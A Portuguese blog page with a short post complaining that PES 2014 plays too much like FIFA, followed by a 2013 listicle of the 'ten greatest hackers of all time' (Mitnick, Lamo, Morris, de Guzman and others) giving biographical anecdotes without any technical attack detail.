Pes14 ou FIFA?



Então pessoal, pra vocês que são amantes de jogos de futebol queria falar um pouco aqui da minha experiência com o novo pro evolution soccer 2014... o nosso famoso pes14... não tem muito o que falar a não ser como diria um admistrador da pagin aqui "Gabi" eles "FIFARAM" o pes PES14... tá muito parecido com FIFA e realmente vou dizer pra vocês que pra nós amantes do verdadeira Wining Level ficou uma bosta, a jogabilidade, a forma de jogar. Eu mesmo não gosto de nem um pouco de FIFA e tão pouco de PES14 agora. Vou tentar me adptar a este game porque adoro a saga PES Mas me decepcionou a Konami. Os gráficos estão foda mas fora isso.... a jogabilidade um cocô kk Eu jogo demais no pes13 no pes14 eu nem sei recuar pro goleiro. KK FICA A DICA.. BY Igor
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quinta-feira, 12 de setembro de 2013

Maiores hackers

Aqui você conhecerá o maior hacker de todos os tempos





Os 10 Maiores Hackers de todos os tempos! Os Top10 Hackers da História!

10. David L. Smith
David L. Smith (Foto: Divulgação)
Smith é o autor do notório “worm Melissa”, responsável por sobrecarregar e tirar do ar vários servidores de e-mail em 1999. Smith foi detido e condenado em 2002 a 10 anos de prisão por ter causado mais de US$80 milhões de prejuízo. A pena chegou a ser reduzida para 20 meses (mais multa de US$ 5 mil) quando Smith aceitou trabalhar com o FBI, logo após sua captura. Inicialmente ele trabalhou 18 horas por semana, mas logo a demanda aumentou, fazendo-o trabalhar 40 horas semanais. Ele foi incumbido de obter conexões entre os autores de vírus novos, mantendo a atenção às vulnerabilidades dos softwares e contribuindo para a captura dos invasores.
9. Robert Morris
Robert Morris (Foto: Reprodução)
Americano, filho do cientista chefe do Centro Nacional de Segurança Computacional dos EUA, Morris foi o responsável pela criação de um vírus que chegou a prejudicar 6 mil computadores em 1988 (cerca de 10% da internet da época), inutilizando-os. Ele foi o primeiro a ser condenado pela lei de Abuso e Fraude de Computadores dos Estados Unidos, mas nem cumpriu a pena. Atualmente ele é considerado o mestre dos criadores de pragas virtuais e está trabalhando como professor efetivo do MIT no Laboratório de Inteligência Artificial.
8. Kevin Poulsen
Kevin Poulsen (Foto: Reprodução)
Seu principal feito aconteceu em 1990, quando Poulsen interceptou todas as linhas telefônicas da estação de rádio KIIS-FM, vencendo assim um concurso realizado pela emissora da Califórnia. O prêmio era um Porche para o 102º ouvinte que telefonasse. Poulsen garantiu seu carro, mas passou 51 meses na prisão. Hoje ele é diretor do site Security Focus e editor da Wired.
7. Onel de Guzman
Onel de Guzman (Foto: Reprodução)
Criador do famoso vírus “I love you”, que era enviado por e-mail com um arquivo anexo chamado “Love-the-letter-for-you”. Após a execução, o vírus fazia com que a mensagem fosse enviada para todos os contatos da vítima, e além de se retransmitir, o vírus subscrevia alguns arquivos e infectava vários outros, fazendo com que o malware fosse executado toda vez que a pessoa tentasse abrir um arquivo MP3, por exemplo.
Estima-se que o “I love you” tenha sido enviado a mais de 84 milhões de pessoas, causando um prejuízo total de $8,7 bilhões.
O estudante filipino que enviou o vírus o fez por pura birra, já que tratava-se de um trabalho de faculdade rejeitado. Ele foi absolvido por faltar legislação que envolvesse crimes digitais em seu país, e também por não terem encontrado provas.
6. Vladimir Levin
Vladimir Levin (Foto: Reprodução)
Formado pela Universidade de Tecnologia de St.Petesburg, Rússia, esse hacker russo foi o cérebro de um ataque aos computadores do Citybank. Com o acesso à rede bancária, ele desviou US$10 milhões de contas de clientes. Foi preso pela Interpol no Aeroporto de Heathrow em 1995.

5. Jon Lech Johansen
Jon Lech Johansen (Foto: Reprodução)
Norueguês, Johansen também é conhecido como “DVD John”, por ter conseguido burlar a proteção regional inseridas nos DVDs comerciais. Seus pais foram processados em seu lugar, afinal, ele tinha apenas 15 anos, mas foram absolvidos sob a seguinte alegação do juiz: ‘como DVDs são objetos mais frágeis do que, por exemplo, livros, as pessoas deveriam ter a possibilidade de fazer uma cópia de segurança para uso pessoal’. Sortudo!
Ao que parece, Johansen trabalha para quebrar os sistemas anticópias do Blu-Ray, os discos que sucederam os DVDs.
4. Jonathan James
Jonathan James (Foto: Reprodução)
Foi o primeiro adolescente a ser preso por crimes digitais nos Estados Unidos, em 1999. Ele invadiu os computadores do Departamento de Defesa dos Estados Unidos e da NASA, aos 15 anos de idade. James suicidou-se em maio de 2008, e junto com o corpo foi encontrada uma carta com 5 páginas, justificando que ele não acreditava mais no sistema judiciário. Isso porque ele estava sendo investigado pelo Serviço Secreto por ter ligação – ao qual ele negava – a um grande roubo de dados de clientes de várias lojas virtuais norte-americanas em 2007.
3. Raphael Gray
Raphael Gray (Foto: Reprodução)
O hacker britânico Raphael Gray foi condenado com apenas 19 anos por roubar 23 mil números de cartões de crédito, entre eles um de Bill Gates. Usando dados de cartões de crédito roubados, Gray criou dois sites, o “ecrackers.com” e o “freecreditcards.com”, onde publicou informações de cartões de crédito roubados de páginas de e-commerce, incluindo o número que ele alegou ser do cartão de crédito de Bill Gates, com o telefone da casa do milionário. O fato chamou a atenção do FBI, que o “visitou” em março de 1999. 

2. Adrian Lamo
Adrian Lamo (Foto: Reprodução)
O norte-americano de 30 anos se tornou o mais famoso “grey hat hacker” da década passada. Em 2003, invadiu o sistema do jornal The New York Times apenas para incluir a si mesmo na lista de colaboradores. Ele também é conhecido por quebrar uma série de sistemas de alta segurança da rede de computadores, como a da Microsoft, da Yahoo!, da MCI WorldCom, da Excite@Home, e das empresas de telefonia SBC, Ameritech e Cingular.

1. Kevin Mitnick
Mitnick (Foto: Reprodução)
O mais famoso hacker da história. Em 1990, Kevin Mitnick invadiu vários computadores de operadoras de telefonia e provedores de internet, além de enganar o FBI e se transformar em um dos cibercriminosos mais procurados da internet (história que chegou até a virar filme). Em 1995 ele foi preso, sendo liberado 5 anos depois após pagar fiança, mas nos primeiros três anos de liberdade não pode conectar-se a internet. Hoje, Mitnick é um consultor de segurança digital, tendo participado inclusive do evento Campus Party 2010 no Brasil.
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